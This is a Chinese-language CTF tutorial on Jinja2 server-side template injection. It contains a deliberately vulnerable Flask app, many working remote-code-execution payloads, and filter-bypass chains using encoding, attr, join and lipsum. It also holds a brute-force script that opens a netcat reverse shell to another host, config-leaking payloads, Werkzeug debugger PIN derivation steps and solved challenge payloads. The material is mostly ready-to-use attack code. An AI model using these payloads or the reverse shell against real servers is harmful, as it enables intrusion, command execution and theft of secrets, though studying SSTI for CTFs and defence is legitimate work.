判断模板类型
php常见模板:twig,smarty,blade
python常见的模板:Jinja2,tornado,Django
java常见的模板:FreeMarker,velocity
ssti漏洞成因
SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
from flask import *
from jinja2 import *
app = Flask(__name__)
@app.route("/myan")
def index():
name = request.args.get('name','guest')
html = '''<h3> Hello %s'''%name
return render_template_string(html)
if __name__ == "__main__":
app.run(debug=True)
魔术方法
魔术方法 | 作用 |
---|---|
__class__ |
查找当前类型的所属对象 |
__base__ |
沿着父子类的关系往上走一个 |
__mro__ |
查找当前类对象的所有继承类 |
__subclasses__() |
查找父类下的所有子类 |
__init__ |
查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper 字眼,说明没有重载 |
__globals__ |
函数会以字典的形式返回当前对象的全部全局变量 |
__getitem__() |
对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。(代替中括号) |
一个pyload例子:
{{().__class__.__base__.__subclasses__()[484].__init__.__globals__.os.popen('cat /flag').read()}}
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat /flag").read()}}
绕过
过滤双大括号
{% %}
使用介绍:
{%%}
是属于flask的控制语句,且以{%end..%}
结尾,可以通过在控制语句定义变量或者写循环,判断。
判断{{}}
被过滤
尝试{% %}
判断语句能否正常执行
1 {% if 2>1 %}qwq{%endif%}
2 {% if "".__class__ %}qwq{%endif%}
3 "{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('cat /flag').read() %}qwq{%endif%}"
无回显ssti
反弹shell
import requests
url = 'http://192.168.86.133:780/flasklab/level/3' #input("url:")
for i in range(500):
#data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
data={"code":"{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('netcat 192.168.86.130 7777 -e /bin/bash').read() %}qwq{%endif%}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
#os.py
if 'qwq' in response.text:
print(i,"-->",data)
except:
pass
反弹:
nc -lvp 7777
引号过滤
使用request模块进行绕过,request模块在os._wrap_close
中,可使用脚本查询
pyload:
http://192.168.86.133:780/flasklab/level/5?qwq=popen&cmd=cat /flag
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.qwq](request.args.cmd).read()}}
下划线过滤
过滤器绕过
过滤器
attr()绕过
attr主要用来防止 .
过滤而不能获取对象属性
{{()|attr(request.args.qwq)}}
http://192.168.86.133:780/flasklab/level/6?class=__class__&base=__base__&subcl=__subclasses__&number=__getitem__&a=__init__&b=__globals__&c=__getitem__
code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subcl)()|attr(request.args.number)(117)|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)('popen')('cat /flag')|attr('read')()}}
编码绕过
形式和上面一样,只是经过了编码
unicode编码:
code={{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(117)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")('popen')('cat /flag')|attr('read')()}}
16位编码:
code={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat /flag').read()}}
base64编码和格式化字符串 绕过就不手打了,一定不是我懒(逃
点过滤
attr过滤
attr没有使用点和中括号
用中括号代替点
payload:
code={{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']()}}
关键字过滤
“+”拼接
使用+
号拼接字符串
pyload:
{{()['__class__']}}---->{{()['__cla'+'ss__']}}
code={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /flag')['re'+'ad']()}}
jinjia2中的”~”拼接
在jinjia2中~
可以拼接字符
payload:
{%set a='__cla'%}{%set b='ss__'%}{%set c='__in'%}{%set d='it__'%}{{()[a~b][c~d]}}
{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set j='bals__'%}{%set k='po'%}{%set l='pen'%}{{()[a~b][c~d][e~f]()[199][g~h][i~j]['os'][k~l]('cat /flag')['read']()}}
# 逆天payload
reverse逆转
payload:
{%set a="__ssalc__"|reverse%}{{()[a]}}
数字过滤
过滤器length
length过滤器用于返回字符串长度
{% set a='aaaaa'|length %}{{a}} #10
{% set a='aaaaa'|length*'a'|length %}{{a}} #30
混合过滤
过滤器dict()和join
join
可以直接拼接键名
{%set a=dict(__cla=a,ss__=a)|join%}{a}
获取符号
{%set ben =({}|select()|string()|list)%}{{ben}}
当加上list就会变成列表就可以[8]
等方式获得数据
过滤 ‘ “ + request . [ ]
code={% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
主要是利用join拼接+addr绕过点,最后执行命令那要绕过单引号,就利用了上面获取符号例子里获取空格
过滤 ‘ “ _ 0-9 . [ ] \ 空格
{{lipsum|string|list}}
获取过滤的符号
再构造payload
{% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
获取config
无过滤直接{{config}}
就可以获取
当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串
flask内置函数
函数 | 作用 |
---|---|
lipsum | 可加载第三方库 |
url_for | 可返回url路径 |
get_flashed_message | 可获取消息 |
使用内置函数调用current_app模块进而查看配置文件current_app
可输出当前app(即flask)
payload:
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
tornado模板中获取
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了
{{handler.settings}}
pin码计算
生成原理
- 获取用户名username
import getpass
username=getpass.getuser()
- 获取app对象name属性
默认为Flask
3.获取app对象module属性
默认为flask.app
4.获取app.py文件所在路径
- uuid
6.get_machine_id获取
linux:cat /etc/machine-id
docker中还得cat /proc/self/cgroup把第一行的拼接上去
macOS: ioeg -c IOPlatformExpertDevice -d 2
windows:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
练习
url_black_list = ['%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e']
black_list = ['.', '[', ']', '{{', '=', '_', '\'', '""', '\\x', 'request', 'config', 'session', 'url_for', 'g',
'get_flashed_messages', '*', 'for', 'if', 'format', 'list', 'lower', 'slice', 'striptags', 'trim',
'xmlattr', 'tojson', 'set', '=', 'chr']
payload
http://node4.anna.nssctf.cn:28698/test
?url={%print(()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(137)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("popen")("\u0063\u0061\u0074\u0020\u002F\u0066\u006C\u0061\u0067")|attr("read")())%}
```
或者
`fenjing`一把梭
[[HNCTF 2022 WEEK3]ssssti](https://www.nssctf.cn/problem/3022)
过滤:_ ' " os
```
1.
{% set xhx=((lipsum|string)[18])%}{% set kg=((lipsum|string)[9])%}{% set s=((lipsum|string)[27])%}{% set o=((lipsum|string)[7])%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set a=(o,s)|join%}{% set popen=dict(popen=a)|join %}{% set playload = (dict(cat=a)|join,kg,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{{lipsum|attr(globals)|attr(getitem)(a)|attr(popen)(playload)|attr(read)()}}
或者
{{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=tac f*